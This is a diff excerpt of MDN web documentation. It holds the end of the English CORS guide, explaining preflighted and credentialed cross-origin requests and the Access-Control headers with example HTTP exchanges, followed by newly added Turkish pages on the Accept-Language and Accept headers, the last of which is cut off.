+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Referer: http://foo.example/examples/access-control/simpleXSInvocation.html +Origin: http://foo.example + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 00:23:53 GMT +Server: Apache/2.0.61 +Access-Control-Allow-Origin: * +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Transfer-Encoding: chunked +Content-Type: application/xml + +[XML Data] +</pre> + +<p>Lines 1 - 10 are headers sent. The main HTTP request header of note here is the {{HTTPHeader("Origin")}} header on line 10 above, which shows that the invocation is coming from content on the domain <code class="plain">http://foo.example</code>.</p> + +<p>Lines 13 - 22 show the HTTP response from the server on domain <code class="plain">http://bar.other</code>. In response, the server sends back an {{HTTPHeader("Access-Control-Allow-Origin")}} header, shown above in line 16. The use of the {{HTTPHeader("Origin")}} header and of {{HTTPHeader("Access-Control-Allow-Origin")}} show the access control protocol in its simplest use. In this case, the server responds with a <code>Access-Control-Allow-Origin: *</code> which means that the resource can be accessed by <strong>any</strong> domain in a cross-site manner. If the resource owners at <code class="plain">http://bar.other</code> wished to restrict access to the resource to requests only from <code class="plain">http://foo.example</code>, they would send back:</p> + +<p><code class="plain">Access-Control-Allow-Origin: http://foo.example</code></p> + +<p>Note that now, no domain other than <code class="plain">http://foo.example</code> (identified by the ORIGIN: header in the request, as in line 10 above) can access the resource in a cross-site manner. The <code>Access-Control-Allow-Origin</code> header should contain the value that was sent in the request's <code>Origin</code> header.</p> + +<h3 id="Preflighted_requests">Preflighted requests</h3> + +<p>Unlike <a href="#Simple_requests">“simple requests” (discussed above)</a>, "preflighted" requests first send an HTTP request by the {{HTTPMethod("OPTIONS")}} method to the resource on the other domain, in order to determine whether the actual request is safe to send. Cross-site requests are preflighted like this since they may have implications to user data.</p> + +<p>In particular, a request is preflighted if <strong>any of the following conditions</strong> is true:</p> + +<ul> + <li><strong>If</strong> the request uses any of the following methods: + + <ul> + <li>{{HTTPMethod("PUT")}}</li> + <li>{{HTTPMethod("DELETE")}}</li> + <li>{{HTTPMethod("CONNECT")}}</li> + <li>{{HTTPMethod("OPTIONS")}}</li> + <li>{{HTTPMethod("TRACE")}}</li> + <li>{{HTTPMethod("PATCH")}}</li> + </ul> + </li> + <li><strong>Or if</strong>, apart from the headers set automatically by the user agent (for example, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, or <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">any of the <strong>OTHER</strong> header with a name defined in the Fetch spec as a “forbidden header name”</a>), the request includes any headers other than <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">those which the Fetch spec defines as being a “CORS-safelisted request-header”</a>, which are the following: + <ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Type")}} (but note the additional requirements below)</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> + <li>{{HTTPHeader("Downlink")}}</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> + </ul> + </li> + <li><strong>Or if</strong> the {{HTTPHeader("Content-Type")}} header has a value <strong>OTHER THAN</strong> the following: + <ul> + <li><code>application/x-www-form-urlencoded</code></li> + <li><code>multipart/form-data</code></li> + <li><code>text/plain</code></li> + </ul> + </li> + <li><strong>Or if</strong> one or more event listeners are registered on an {{domxref("XMLHttpRequestUpload")}} object used in the request.</li> + <li><strong>Or if</strong> a {{domxref("ReadableStream")}} object is used in the request.</li> +</ul> + +<div class="note"><strong>Note:</strong> WebKit Nightly and Safari Technology Preview place additional restrictions on the values allowed in the {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, and {{HTTPHeader("Content-Language")}} headers. If any of those headers have ”non-standard” values, WebKit/Safari preflights the request. What WebKit/Safari considers “non-standard” values for those headers is not documented except in the following WebKit bugs: <a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, and <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>. No other browsers implement those extra restrictions, because they’re not part of the spec.</div> + +<p>The following is an example of a request that will be preflighted.</p> + +<pre class="brush: js" id="line1">const invocation = new XMLHttpRequest(); +const url = 'http://bar.other/resources/post-here/'; +const body = '<?xml version="1.0"?><person><name>Arun</name></person>'; + +function callOtherDomain(){ + if(invocation) + { + invocation.open('POST', url, true); + invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); + invocation.setRequestHeader('Content-Type', 'application/xml'); + invocation.onreadystatechange = handler; + invocation.send(body); + } +} + +...... +</pre> + +<p>In the example above, line 3 creates an XML body to send with the <code>POST</code> request in line 8. Also, on line 9, a "customized" (non-standard) HTTP request header is set (<code>X-PINGOTHER: pingpong</code>). Such headers are not part of the HTTP/1.1 protocol, but are generally useful to web applications. Since the request uses a Content-Type of <code>application/xml</code>, and since a custom header is set, this request is preflighted.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/16401/preflight_.png" style="height: 555px; width: 538px;"></p> + +<p>(Note: as described below, the actual POST request does not include the Access-Control-Request-* headers; they are needed only for the OPTIONS request.)</p> + +<p>Let's take a look at the full exchange between client and server. The first exchange is the <em>preflight request/response</em>:</p> + +<pre class="brush: none;highlight:[1,10,11,17-20]">OPTIONS /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Origin: http://foo.example +Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:39 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400 +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 0 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain +</pre> + +<p>Once the preflight request is complete, the real request is sent:</p> + +<pre class="brush: none;">POST /resources/post-here/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +X-PINGOTHER: pingpong +Content-Type: text/xml; charset=UTF-8 +Referer: http://foo.example/examples/preflightInvocation.html +Content-Length: 55 +Origin: http://foo.example +Pragma: no-cache +Cache-Control: no-cache + +<?xml version="1.0"?><person><name>Arun</name></person> + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:15:40 GMT +Server: Apache/2.0.61 (Unix) +Access-Control-Allow-Origin: http://foo.example +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 235 +Keep-Alive: timeout=2, max=99 +Connection: Keep-Alive +Content-Type: text/plain + +[Some GZIP'd payload] +</pre> + +<p>Lines 1 - 12 above represent the preflight request with the {{HTTPMethod("OPTIONS")}} method. The browser determines that it needs to send this based on the request parameters that the JavaScript code snippet above was using, so that the server can respond whether it is acceptable to send the request with the actual request parameters. OPTIONS is an HTTP/1.1 method that is used to determine further information from servers, and is a {{Glossary("safe")}} method, meaning that it can't be used to change the resource. Note that along with the OPTIONS request, two other request headers are sent (lines 10 and 11 respectively):</p> + +<pre class="brush: none">Access-Control-Request-Method: POST +Access-Control-Request-Headers: X-PINGOTHER, Content-Type +</pre> + +<p>The {{HTTPHeader("Access-Control-Request-Method")}} header notifies the server as part of a preflight request that when the actual request is sent, it will be sent with a <code>POST</code> request method. The {{HTTPHeader("Access-Control-Request-Headers")}} header notifies the server that when the actual request is sent, it will be sent with a <code>X-PINGOTHER</code> and <code>Content-Type</code> custom headers. The server now has an opportunity to determine whether it wishes to accept a request under these circumstances.</p> + +<p>Lines 14 - 26 above are the response that the server sends back indicating that the request method (<code>POST</code>) and request headers (<code>X-PINGOTHER</code>) are acceptable. In particular, let's look at lines 17-20:</p> + +<pre class="brush: none">Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Methods: POST, GET +Access-Control-Allow-Headers: X-PINGOTHER, Content-Type +Access-Control-Max-Age: 86400</pre> + +<p>The server responds with <code>Access-Control-Allow-Methods</code> and says that <code>POST</code> and <code>GET</code> are viable methods to query the resource in question. Note that this header is similar to the {{HTTPHeader("Allow")}} response header, but used strictly within the context of access control.</p> + +<p>The server also sends <code>Access-Control-Allow-Headers</code> with a value of "<code>X-PINGOTHER, Content-Type</code>", confirming that these are permitted headers to be used with the actual request. Like <code>Access-Control-Allow-Methods</code>, <code>Access-Control-Allow-Headers</code> is a comma separated list of acceptable headers.</p> + +<p>Finally, {{HTTPHeader("Access-Control-Max-Age")}} gives the value in seconds for how long the response to the preflight request can be cached for without sending another preflight request. In this case, 86400 seconds is 24 hours. Note that each browser has a <a href="/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age">maximum internal value</a> that takes precedence when the <code>Access-Control-Max-Age</code> is greater.</p> + +<h4 id="Preflighted_requests_and_redirects">Preflighted requests and redirects</h4> + +<p>Not all browsers currently support following redirects after a preflighted request. If a redirect occurs after a preflighted request, some browsers currently will report an error message such as the following.</p> + +<blockquote> +<p>The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight</p> +</blockquote> + +<blockquote> +<p>Request requires preflight, which is disallowed to follow cross-origin redirect</p> +</blockquote> + +<p>The CORS protocol originally required that behavior but <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">was subsequently changed to no longer require it</a>. However, not all browsers have implemented the change, and so still exhibit the behavior that was originally required.</p> + +<p>So until all browsers catch up with the spec, you may be able to work around this limitation by doing one or both of the following:</p> + +<ul> + <li>change the server-side behavior to avoid the preflight and/or to avoid the redirect—if you have control over the server the request is being made to</li> + <li>change the request such that it is a <a href="#Simple_requests">simple request</a> that doesn’t cause a preflight</li> +</ul> + +<p>But if it’s not possible to make those changes, then another way that may be possible is to this:</p> + +<ol> + <li>Make a <a href="#Simple_requests">simple request</a> (using {{domxref("Response.url")}} for the Fetch API, or {{domxref("XMLHttpRequest.responseURL")}}) to determine what URL the real preflighted request would end up at.</li> + <li>Make another request (the “real” request) using the URL you obtained from <code>Response.url</code> or <code>XMLHttpRequest.responseURL</code> in the first step.</li> +</ol> + +<p>However, if the request is one that triggers a preflight due to the presence of the <code>Authorization</code> header in the request, you won’t be able to work around the limitation using the steps above. And you won’t be able to work around it at all unless you have control over the server the request is being made to.</p> + +<h3 id="Requests_with_credentials">Requests with credentials</h3> + +<p>The most interesting capability exposed by both {{domxref("XMLHttpRequest")}} or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> and CORS is the ability to make "credentialed" requests that are aware of <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> and HTTP Authentication information. By default, in cross-site <code>XMLHttpRequest</code> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> invocations, browsers will <strong>not</strong> send credentials. A specific flag has to be set on the <code>XMLHttpRequest</code> object or the {{domxref("Request")}} constructor when it is invoked.</p> + +<p>In this example, content originally loaded from <code class="plain">http://foo.example</code> makes a simple GET request to a resource on <code class="plain">http://bar.other</code> which sets Cookies. Content on foo.example might contain JavaScript like this:</p> + +<pre class="brush: js" id="line1">const invocation = new XMLHttpRequest(); +const url = 'http://bar.other/resources/credentialed-content/'; + +function callOtherDomain(){ + if(invocation) { + invocation.open('GET', url, true); + invocation.withCredentials = true; + invocation.onreadystatechange = handler; + invocation.send(); + } +}</pre> + +<p>Line 7 shows the flag on {{domxref("XMLHttpRequest")}} that has to be set in order to make the invocation with Cookies, namely the <code>withCredentials</code> boolean value. By default, the invocation is made without Cookies. Since this is a simple <code>GET</code> request, it is not preflighted, but the browser will <strong>reject</strong> any response that does not have the {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> header, and <strong>not</strong> make the response available to the invoking web content.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14291/cred-req.png" style="height: 223px; width: 521px;"></p> + +<p>Here is a sample exchange between client and server:</p> + +<pre class="brush: none">GET /resources/access-control-with-credentials/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate +Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 +Connection: keep-alive +Referer: http://foo.example/examples/credential.html +Origin: http://foo.example +Cookie: pageAccess=2 + + +HTTP/1.1 200 OK +Date: Mon, 01 Dec 2008 01:34:52 GMT +Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2 +X-Powered-By: PHP/5.2.6 +Access-Control-Allow-Origin: http://foo.example +Access-Control-Allow-Credentials: true +Cache-Control: no-cache +Pragma: no-cache +Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT +Vary: Accept-Encoding, Origin +Content-Encoding: gzip +Content-Length: 106 +Keep-Alive: timeout=2, max=100 +Connection: Keep-Alive +Content-Type: text/plain + + +[text/plain payload] +</pre> + +<p>Although line 11 contains the Cookie destined for the content on <code class="plain">http://bar.other</code>, if bar.other did not respond with an {{HTTPHeader("Access-Control-Allow-Credentials")}}<code>: true</code> (line 19) the response would be ignored and not made available to web content.</p> + +<h4 id="Credentialed_requests_and_wildcards">Credentialed requests and wildcards</h4> + +<p>When responding to a credentialed request, the server <strong>must</strong> specify an origin in the value of the <code>Access-Control-Allow-Origin</code> header, instead of specifying the "<code>*</code>" wildcard.</p> + +<p>Because the request headers in the above example include a <code>Cookie</code> header, the request would fail if the value of the <code>Access-Control-Allow-Origin</code> header were "*". But it does not fail: Because the value of the <code>Access-Control-Allow-Origin</code> header is "<code class="plain">http://foo.example</code>" (an actual origin) rather than the "<code>*</code>" wildcard, the credential-cognizant content is returned to the invoking web content.</p> + +<p>Note that the <code>Set-Cookie</code> response header in the example above also sets a further cookie. In case of failure, an exception—depending on the API used—is raised.</p> + +<h4 id="Third-party_cookies">Third-party cookies</h4> + +<p>Note that cookies set in CORS responses are subject to normal third-party cookie policies. In the example above, the page is loaded from <code>foo.example</code>, but the cookie on line 22 is sent by <code>bar.other</code>, and would thus not be saved if the user has configured their browser to reject all third-party cookies.</p> + +<h2 id="The_HTTP_response_headers">The HTTP response headers</h2> + +<p>This section lists the HTTP response headers that servers send back for access control requests as defined by the Cross-Origin Resource Sharing specification. The previous section gives an overview of these in action.</p> + +<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3> + +<p>A returned resource may have one {{HTTPHeader("Access-Control-Allow-Origin")}} header, with the following syntax:</p> + +<pre class="brush: none">Access-Control-Allow-Origin: <origin> | * +</pre> + +<p><code>Access-Control-Allow-Origin</code> specifies either a single origin, which tells browsers to allow that origin to access the resource; or else — for requests <strong>without</strong> credentials — the "<code>*</code>" wildcard, to tell browsers to allow any origin to access the resource.</p> + +<p>For example, to allow code from the origin <code>http://mozilla.org</code> to access the resource, you can specify:</p> + +<pre class="brush: none">Access-Control-Allow-Origin: http://mozilla.org</pre> + +<p>If the server specifies a single origin rather than the "<code>*</code>" wildcard, then the server should also include <code>Origin</code> in the {{HTTPHeader("Vary")}} response header — to indicate to clients that server responses will differ based on the value of the {{HTTPHeader("Origin")}} request header.</p> + +<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3> + +<p>The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access. For example:</p> + +<pre class="brush: none">Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header +</pre> + +<p>This allows the <code>X-My-Custom-Header</code> and <code>X-Another-Custom-Header</code> headers to be exposed to the browser.</p> + +<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3> + +<p>The {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.</p> + +<pre class="brush: none">Access-Control-Max-Age: <delta-seconds> +</pre> + +<p>The <code>delta-seconds</code> parameter indicates the number of seconds the results can be cached.</p> + +<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3> + +<p>The {{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the <code>credentials</code> flag is true. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple <code>GET</code> requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.</p> + +<pre class="brush: none">Access-Control-Allow-Credentials: true +</pre> + +<p><a class="internal" href="#Requests_with_credentials">Credentialed requests</a> are discussed above.</p> + +<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3> + +<p>The {{HTTPHeader("Access-Control-Allow-Methods")}} header specifies the method or methods allowed when accessing the resource. This is used in response to a preflight request. The conditions under which a request is preflighted are discussed above.</p> + +<pre class="brush: none">Access-Control-Allow-Methods: <method>[, <method>]* +</pre> + +<p>An example of a <a class="internal" href="#Preflighted_requests">preflight request is given above</a>, including an example which sends this header to the browser.</p> + +<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3> + +<p>The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a <a class="internal" href="#Preflighted_requests">preflight request</a> to indicate which HTTP headers can be used when making the actual request.</p> + +<pre class="brush: none">Access-Control-Allow-Headers: <field-name>[, <field-name>]* +</pre> + +<h2 id="The_HTTP_request_headers">The HTTP request headers</h2> + +<p>This section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site {{domxref("XMLHttpRequest")}} capability do not have to set any cross-origin sharing request headers programmatically.</p> + +<h3 id="Origin">Origin</h3> + +<p>The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request.</p> + +<pre class="brush: none">Origin: <origin> +</pre> + +<p>The origin is a URI indicating the server from which the request initiated. It does not include any path information, but only the server name.</p> + +<div class="note"><strong>Note:</strong> The <code>origin</code> can be the empty string; this is useful, for example, if the source is a <code>data</code> URL.</div> + +<p>Note that in any access control request, the {{HTTPHeader("Origin")}} header is <strong>always</strong> sent.</p> + +<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3> + +<p>The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.</p> + +<pre class="brush: none">Access-Control-Request-Method: <method> +</pre> + +<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above.</a></p> + +<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3> + +<p>The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.</p> + +<pre class="brush: none">Access-Control-Request-Headers: <field-name>[, <field-name>]* +</pre> + +<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above</a>.</p> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> + <td>{{Spec2('Fetch')}}</td> + <td>New definition; supplants <a href="https://www.w3.org/TR/cors/">W3C CORS</a> specification.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> + +<h3 id="Compatibility_notes">Compatibility notes</h3> + +<ul> + <li>Internet Explorer 8 and 9 expose CORS via the <code>XDomainRequest</code> object, but have a full implementation in IE 10.</li> + <li>While Firefox 3.5 introduced support for cross-site <code>XMLHttpRequests</code> and Web Fonts, certain requests were limited until later versions. Specifically, Firefox 7 introduced the ability for cross-site HTTP requests for WebGL Textures, and Firefox 9 added support for Images drawn on a canvas using <code>drawImage()</code>.</li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> + <li><a href="https://enable-cors.org/server.html">Enable CORS: I want to add CORS support to my server</a></li> + <li>{{domxref("XMLHttpRequest")}}</li> + <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li> + <li><a class="external" href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx">Using CORS with All (Modern) Browsers</a></li> + <li><a href="http://www.html5rocks.com/en/tutorials/cors/">Using CORS - HTML5 Rocks</a> + <ul> + </ul> + </li> + <li><a class="external" href="https://arunranga.com/examples/access-control/">Code Samples Showing <code>XMLHttpRequest</code> and Cross-Origin Resource Sharing</a></li> + <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Client-Side & Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)</a></li> + <li><a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)</a></li> + <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Stack Overflow answer with “how to” info for dealing with common problems</a>: + <ul> + <li>How to avoid the CORS preflight</li> + <li>How to use a CORS proxy to get around <em>“No Access-Control-Allow-Origin header”</em></li> + <li>How to fix <em>“Access-Control-Allow-Origin header must not be the wildcard”</em></li> + </ul> + </li> +</ul> + +<div>{{HTTPSidebar}}</div> diff --git a/files/tr/web/http/headers/accept-language/index.html b/files/tr/web/http/headers/accept-language/index.html new file mode 100644 index 0000000000..fb3fe1dbe4 --- /dev/null +++ b/files/tr/web/http/headers/accept-language/index.html @@ -0,0 +1,97 @@ +--- +title: Accept-Language +slug: Web/HTTP/Headers/Accept-Language +tags: + - HTTP Başlığı + - İçerik görüşmesi +translation_of: Web/HTTP/Headers/Accept-Language +--- +<div>{{HTTPSidebar}}</div> + +<p><strong><code>Accept-Language</code></strong> HTTP başlığı, istemcinin hangi dilleri anlayabildiğini ve hangi dil türünün tercih edildiğini bildirir. (Burada dil derken programlama dili değil, İngilizce gibi doğal dillerden bahsediyoruz.) Sunucu i<a href="/tr/docs/Web/HTTP/Content_negotiation">çerik görüşmesi</a> kullanarak bu önerilerden birini seçip kullanır ve {{HTTPHeader("Content-Language")}} yanıt başlığı aracılığıyla istemciye seçtiği dili bildirir. Tarayıcılar kullanıcı arayüzü diline bakarak bu başlığa uygun değerleri verir ve kullanıcı bunu değiştirebilse de bu pek sık olmaz (ve parmak izine neden olduğundan hoş karşılanmaz).</p> + +<p>Bu başlık, sunucunun kullanıcı tarafından bilinçli olarak belirtilmiş bir URL gibi herhangi bir yoldan dil berlirleme imkanı olmadığında kullanması için verilen bir ipucudur. Sunucunun asla bilinçli bir seçimi geçersiz kılmaması önerilmektedir. <code>Accept-Language</code> içeriği genellikle kullanıcının kontrolünde değildir (örneğin seyahat ederken başka bir ülkede bir internet kafeyi kullanmak gibi); kullanıcı kendi kullanıcı arayüzünün dili dışında bir dilde de sayfayı görüntülemek isteyebilir.</p> + +<p>Eğer sunucu eşleşen hiçbir dilde hizmet veremiyorsa, teoride bir {{HTTPStatus("406")}} (Kabul edilemez) hata kodunu döndürebilir. Ancak, daha iyi bir kullanıcı deneyimi sağlanması için bu nadiren yapılır ve bu durumda genellikle <code>Accept-Language</code> başlığı görmezden gelinir.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Başlık türü</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>hayır</td> + </tr> + <tr> + <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> + <td>evet</td> + </tr> + </tbody> +</table> + +<h2 id="Sözdizimi">Sözdizimi</h2> + +<pre class="syntaxbox">Accept-Language: <language> +Accept-Language: * + +// {{glossary("quality values", "quality value")}} sözdizimi ile ağırlıklandırılmış birden fazla dil var: +Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre> + +<h2 id="Direktifler">Direktifler</h2> + +<dl> + <dt><code><language></code></dt> + <dd> + <p>Bir dil etiketi (bazen "yerel ayar kimliği" olarak da adlandırılır). Bu direktif 2-3 harften oluşan ve dili demsil eden bir temel dil etiketidir, isteğe bağlı olarak ardından <code>'-'</code> ile ayrılan ek alt etiketler gelebilir. En sık kullanılan ek bilgi ülke veya bölge varyantı (<code>'en-US'</code> veya <code>'fr-CA'</code> gibi) ya da kullanılacak alfabe türüdür (<code>'sr-Latn'</code> gibi). Yazım türü (<code>'de-DE-1996'</code>) gibi diğer varyantlar genellikle bu başlık kapsamında kullanılmaz.</p> + </dd> + <dt><code>*</code></dt> + <dd>Herhangi bir dil; <code>'*'</code> joker karakter olarak kullanılır.</dd> + <dt><code>;q=</code> (q-faktör ağırlıklandırması)</dt> + <dd>Tercih sırasına göre yerleştirilen herhangi bir değer, <em>ağırlık </em>denilen göreceli bir {{glossary("Quality values", "quality value")}} ile ifade edilir.</dd> +</dl> + +<h2 id="Örnekler">Örnekler</h2> + +<pre>Accept-Language: de + +Accept-Language: de-CH + +Accept-Language: en-US,en;q=0.5 +</pre> + +<h2 id="Özellikler">Özellikler</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Özellik</th> + <th scope="col">Başlık</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("7231", "Accept-Language", "5.3.5")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Anlambilim ve Bağlam</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/bcp47">BCP 47</a></td> + <td>Dilin Belirlenmesi için Etiketler</td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> + +<p class="hidden"><span class="tlid-translation translation" lang="tr">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir. Verilere katkıda bulunmak istiyorsanız, lütfen</span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span class="tlid-translation translation" lang="tr"> adresini ziyaret edin ve bize bir çekme isteği gönderin.</span></p> + +<p>{{Compat("http.headers.Accept-Language")}}</p> + +<h2 id="Bakınız">Bakınız</h2> + +<ul> + <li>HTTP <a href="/tr/docs/Web/HTTP/Content_negotiation">içerik görüşmesi</a></li> + <li>İçerik görüşmesinin sonucunu içeren başlık: {{HTTPHeader("Content-Language")}}</li> + <li>Diğer benzer başlıklar: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}}</li> +</ul> diff --git a/files/tr/web/http/headers/accept/index.html b/files/tr/web/http/headers/accept/index.html new file mode 100644 index 0000000000..85ffcc2b40 --- /dev/null +++ b/files/tr/web/http/headers/accept/index.html @@ -0,0 +1,99 @@ +--- +title: Accept +slug: Web/HTTP/Headers/Accept +tags: + - HTTP + - HTTP Başlığı + - Referans + - İstek başlığı +translation_of: Web/HTTP/Headers/Accept +--- +<p>{{HTTPSidebar}}</p> + +<p>Accept <strong><code>HTTP</code></strong> başlığı, istemcinin hangi içerik tiplerini(<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a>) anlayabileceğini sunucuya söyler. Sunucu <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a> kullanarak bu tiplerden birini seçer ve istemciye {{HTTPHeader("Content-Type")}} başlığı ile seçimini gönderir. Tarayıcılar bu başlığın belirttiği içerik tipine göre gerekli değerleri ayarlar. CSS, resim, video veya script dosyaları için farklı değerler ayarlanır.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Başlık türü</th> + <td> + <p>{{Glossary("Request header")}}</p> + </td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>hayır</td> + </tr> + <tr> + <th scope="row">{{Glossary("CORS-safelisted request header")}}</th> + <td>Evet ama CORS-güvensiz başlık baytlarını içermemelidir: 